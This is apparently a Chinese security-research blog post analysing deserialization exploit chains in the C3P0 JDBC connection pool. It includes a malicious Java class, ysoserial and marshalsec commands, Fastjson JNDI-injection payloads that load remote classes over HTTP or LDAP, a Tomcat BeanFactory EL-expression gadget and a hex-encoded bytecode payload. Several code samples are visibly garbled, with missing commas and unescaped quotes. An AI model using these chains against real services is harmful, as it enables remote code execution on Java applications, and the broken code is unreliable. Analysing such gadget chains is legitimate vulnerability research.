开源JDBC连接池C3p0反序列化利用分析

渗透技巧 1年前 (2023) admin
327 0 0


C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。它是异步操作的,通过帮助进程完成缓慢的JDBC操作。扩展这些操作可以有效地提升性能。c3p0具有自动回收空闲连接功能,用于缓存和重用PreparedStatements支持。它是一个成熟的、高并发的JDBC连接池库,目前被hibernate、spring等开源项目广泛使用。



01
C3P0基础



1.1   C3P0使用

使用JDBC技术来连接数据库时,每一次连接都需要执行如下操作:
//1.加载驱动
Class.forName("com.mysql.jdbc.Driver");
//2.连接数据库URL
String url = "jdbc:mysql://localhost:3306/test?"  +"user=root&password=root";
//3.获取数据库连接
conn = DriverManager.getConnection(url);
当进行数据库操作时,无论是简单的查询还是添加记录,都需要按照三个步骤进行操作:加载驱动程序、连接数据库URL和获取数据库连接。但是,当系统变得更加复杂且对数据库的操作更加频繁时,系统的性能也会随之下降。有时,建立数据库连接所需的时间甚至超过了执行查询操作的时间。为了解决这类问题,连接池应运而生。连接池通过预先加载一些连接对象,每次执行数据库操作时无需重新建立连接,只需使用预加载的连接对象,从而大大提高系统性能。
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。
//1.加载驱动
Class.forName("com.mysql.jdbc.Driver");
//2.连接数据库URL
String url = "jdbc:mysql://localhost:3306/test?"  +"user=root&password=root";
//3.获取数据库连接
conn = DriverManager.getConnection(url);

1.2   C3P0 漏洞利用
1. 创建一个恶意的Exploit.java文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    static {
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash""-c""open -a calculator.app"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch (Exception e){
        }
    }
}
2. 编译为class文件
javac Exploit.java
3.挂载Exploit.class
python3 -m http.server 7777
4.生成poc.ser
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:7777/:Exploit" > poc.ser
5.反序列化利用demo加载上面poc.ser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
 
public class Main {
    public static void main(String args[]) throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("/path/poc.ser"));
        in.readObject();
    }
}
pom.xml添加依赖。
<dependencies>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
    </dependencies>



02
 C3P0 URLClassLoader


  这里对ysoserial里的C3p0漏洞利用链进行分析。利用代码如下:
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class C3p0main {
    public static void main final String[] args ) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:7777/:Exploit");
        byte[] serialize = Serializer.serialize(object);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
}

2.1   序列化分析
在PoolBackedDataSourceBase的wireteObject方法中设置断点调试分析。由于connectionPoolDataSource没有实现Serializable接口,因此在序列化时会直接抛出异常并进入catch代码段。

开源JDBC连接池C3p0反序列化利用分析

最后会调用Referenceable对象的getReference 方法获取Reference对象,然后生成一个可序列化的IndirectlySerialized对象。

开源JDBC连接池C3p0反序列化利用分析

开源JDBC连接池C3p0反序列化利用分析

2.2   反序列化分析

在PoolBackedDataSourceBase的readObject方法中设置断点调试分析。version为1,进入case 1: 这里反序列化后的o对象为IndirectlySerialized对象,进入getObject方法。

开源JDBC连接池C3p0反序列化利用分析

这里有lookup,不过contextName不可控,就不存在JNDI注入,跟进ReferenceableUtils.referenceToObject

开源JDBC连接池C3p0反序列化利用分析

后面就到了Class解析位置,var0为传递过来的this.reference,var4为ClassName,var11为ClassLocation,最后通过Class.forName加载实例化远程类触发恶意代码。

开源JDBC连接池C3p0反序列化利用分析


03
 C3p0 JNDI 注入


以Fastjson为例:
import com.alibaba.fastjson.JSON;
class Fastjosndemo{
    public static void main(String[] args) {
        String payload = "{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1099/Exploit", "loginTimeout":0}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}
用 marshalsec(https://github.com/mbechler/marshalsec)起一个ldap服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:7777/#Exec 1099
同时还需要启一个恶意class文件的web服务。

04
  C3p0 不出网利用


4.1   BeanFactory

如果Reference对象的classFactoryLocation为null,就会直接加载本地字节码而不是远程字节码。为了实现这个功能,需要一个实现了ObjectFactory接口的类,并调用其getObjectInstance方法。在JNDI中,当进行lookup操作时,会动态加载并实例化Factory类,并调用其getObjectInstance方法来获取远程对象实例。

开源JDBC连接池C3p0反序列化利用分析

这里使用了org.apache.naming.factory.BeanFactory类+javax.el.ELProcessor#eval执行任意el表达式,将ysoserial的C3P0的URL链子执行处改成EL表达式,其它不用更改。
private static class PoolSource implements ConnectionPoolDataSourceReferenceable {
        private String classFactory;
        private String classFactoryLocation;
        public PoolSource(){
            this.classFactory = "BeanFactory";
            this.classFactoryLocation = null;
        }
        public PoolSource(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException 
{
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, """"true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString""sentiment=eval"));
            ref.add(new StringRefAddr("sentiment""Runtime.getRuntime().exec("open -a calculator.app")"));
            return ref;
        }
    ……
}
Pom.xml添加相关依赖。
<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>8.5.0</version>
    </dependency>
 
 
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-el</artifactId>
        <version>8.5.15</version>
    </dependency>

4.2   Hex字节码加载
以CommonsCollections5 利用链为例,生成poc文件。
java -jar ysoserial-0.0.5.jar CommonsCollections5 "open -a calculator.app" > payload.ser
将生成的poc字节码文件转为16进制字符串,传入payload中可进行恶意字节码加载。
import com.alibaba.fastjson.JSON;
 
class C3P0demo{
    public static void main(String[] args) {
        String payload = "{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex十六进制payloadn"}}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}
反序列化分析,跟进一下com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase的setUserOverridesAsString()方法。
开源JDBC连接池C3p0反序列化利用分析
跟进其中又调用了fireVetoableChange(),之后又调用了listeners[current].vetoableChange(event);
开源JDBC连接池C3p0反序列化利用分析
在跟进vetoableChange()方法时,首先获取传入的键和值。然后通过键的name进行判断,如果满足特定条件,就会调用C3P0ImplUtils.parseUserOverridesAsString()方法来处理传入的16进制数据。
开源JDBC连接池C3p0反序列化利用分析
开源JDBC连接池C3p0反序列化利用分析
最终调用readObject()进行反序列化处理。
开源JDBC连接池C3p0反序列化利用分析
开源JDBC连接池C3p0反序列化利用分析

       

原文始发于微信公众号(山石网科安全技术研究院):开源JDBC连接池C3p0反序列化利用分析

版权声明:admin 发表于 2023年4月24日 上午11:34。
转载请注明:开源JDBC连接池C3p0反序列化利用分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...